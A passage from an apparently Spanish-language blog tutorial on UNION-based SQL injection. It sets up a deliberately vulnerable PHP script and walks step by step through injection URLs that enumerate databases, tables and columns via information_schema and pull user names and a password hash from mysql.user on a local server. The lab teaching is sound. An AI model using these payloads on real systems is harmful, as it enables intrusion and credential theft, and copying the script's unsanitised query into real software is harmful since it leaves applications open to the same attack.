TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS


Comenzaremos identificando las tablas que hay y en que DB's se encuentran, pero para ello necesitamos un script vulnerable para practicar:


Estructura de la DB:

use test;
CREATE TABLE `usuarios` (
`id` int(11) NOT NULL auto_increment,
`nombre` varchar(180) NOT NULL default '',
`email` varchar(50) NOT NULL default '',
PRIMARY KEY (`id`)
);
insert into usuarios values
(1, 'xianur0', 'uxmal666@gmail.com');
insert into usuarios values
(2, 'UxMal', 'uxmal666@gmail.com');

vuln.php

<?php
$id = $_GET['id'];
$conexion
= mysql_connect("localhost", "xianur0","mipassword");
mysql_select_db("test", $conexion);
$consulta
= "SELECT * FROM usuarios Where id = $id";
$resultado
= mysql_query($consulta, $conexion) or die(mysql_error());
$todo
= mysql_num_rows($resultado);
if ($todo> 0) {
$row = mysql_fetch_assoc($resultado);
echo "<strong>".$row['id']."</strong><br>";
echo "Nombre: ".$row['nombre']."<br>";
echo "Email: ".$row['email']."<br><br>";
}
?>

Hacemos la Consulta: http://127.0.0.1/vuln.php?id=1

Resultado:

1
Nombre: xianur0
Email: uxmal666@gmail.com

Comenzamos a Inyectar:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/1,1

Resultado:
The used SELECT statements have a different number of columns

Podemos usar el fuzzer que también esta en este blog o hacerlo manualmente (como prefieran):

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/1,1,1

Resultado:

1
Nombre: 1
Email: 1

Comenzamos a Sacar Datos:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/1,2,table_name/**/FROM/**/information_schema.tables

Resultado:

1
Nombre: 2
Email: CHARACTER_SETS

Bueno al no haber un error SQL y al responder con el nombre de una tabla, quiere decir que existe information_schema (valgame la redundancia), sigamos inyectando:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables

Donde: TABLE_SCHEMA es la DB y table_name es el nombre de la tabla.

Resultado:

information_schema
Nombre: 2
Email: CHARACTER_SETS

ya tenemos la primera tabla de esa DB (el information_schema no esta considerando la DB test).

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables/**/WHERE/**/table_name/**/NOT/**/IN/**/('CHARACTER_SETS')


Resultado:

information_schema
Nombre: 2
Email: COLLATIONS

ahora que si lo que queremos es saber cuales bases de datos existen:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA/**/NOT/**/IN/**/('information_schema')

Resultado:

mysql
Nombre: 2
Email: db

Bueno tenemos ya 2 bases de datos:
mysql e information_schema, sigamos:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA/**/NOT/**/IN/**/('information_schema','mysql')

Resultado:

phpmyadmin
Nombre: 2
Email: xianur0_bookmark

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA/**/NOT/**/IN/**/('information_schema','mysql','phpmyadmin')

Resultado:

test
Nombre: 2
Email: usuarios


Bueno ahí esta la tabla inicial y la DB inicial...

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA/**/NOT/**/IN/**/('information_schema','mysql','phpmyadmin','test')

Y ahora no nos devolverá nada (ya no hay base de datos), ahora vamos por columnas:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME/**/FROM/**/information_schema.columns

Resultado:

information_schema
Nombre: CHARACTER_SETS
Email: CHARACTER_SET_NAME

No es de gran utilidad esa informacion, pero si hacemos una sentencia mas exacta:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME/**/FROM/**/information_schema.columns/**/WHERE/**/TABLE_SCHEMA/**/=/**/'test'

Resultado:

test
Nombre: usuarios
Email: id

Base de datos: test
Tabla: usuarios
Columna: id

Esto funciona como queremos por que solo existe una tabla en nuestra base de datos test, pero si existiese mas de una tabla y queremos saber específicamente las columnas de la tabla usuarios:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME/**/FROM/**/information_schema.columns/**/WHERE/**/TABLE_SCHEMA/**/=/**/'test'/**/AND/**/TABLE_NAME/**/=/**/'usuarios'

ahora saquemos la siguiente:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME/**/FROM/**/information_schema.columns/**/WHERE/**/TABLE_SCHEMA/**/=/**/'test'/**/AND/**/TABLE_NAME/**/=/**/'usuarios'/**/AND/**/COLUMN_NAME/**/NOT/**/IN/**/('id')

Resultado:

test
Nombre: usuarios
Email: nombre

Yo se que hay mil y una forma de obtener este resultado, pero no iré a conceptos, simplemente hablare de la técnica.

Ahora que para sacar las DB hay una forma mas facil (también basándose en el information_schema), esta otra forma es mediante la tabla schemata:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/SCHEMA_NAME,DEFAULT_CHARACTER_SET_NAME,DEFAULT_COLLATION_NAME/**/FROM/**/information_schema.schemata

y bueno el resto ya lo saben..

Busquen en google la estructura del information_schema o bien instalen el xampp (ese trae information_schema por default)

Ahora vamos con mysql

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/User,Select_priv,Host/**/FROM/**/mysql.user

Resultado:

root��������������������������������������������
Nombre: Y
Email: localhost


podríamos intentar sacar la password, pero no en todos los MySQL Funciona...

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/User,Password,Host/**/FROM/**/mysql.user


xianur0
Nombre: *CEE870801502ACAD44FA46CA2CA4F58C2B721A67
Email: localhost

El password que obtuvimos (si es que lo permitió el MySQL) esta encriptado por la funcion password() de mysql (no dire en este texto como desencriptarlo).

Obtengamos información:

http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/User,Db,Select_priv/**/FROM/**/mysql.db

Resultado:

pma
Nombre: mysql
Email: N


Bueno hasta aquí dejare este texto, pero seguiré escribiendo algunas cosas útiles cuando tenga tiempo....

By Xianur0
http://xianur0.blogspot.com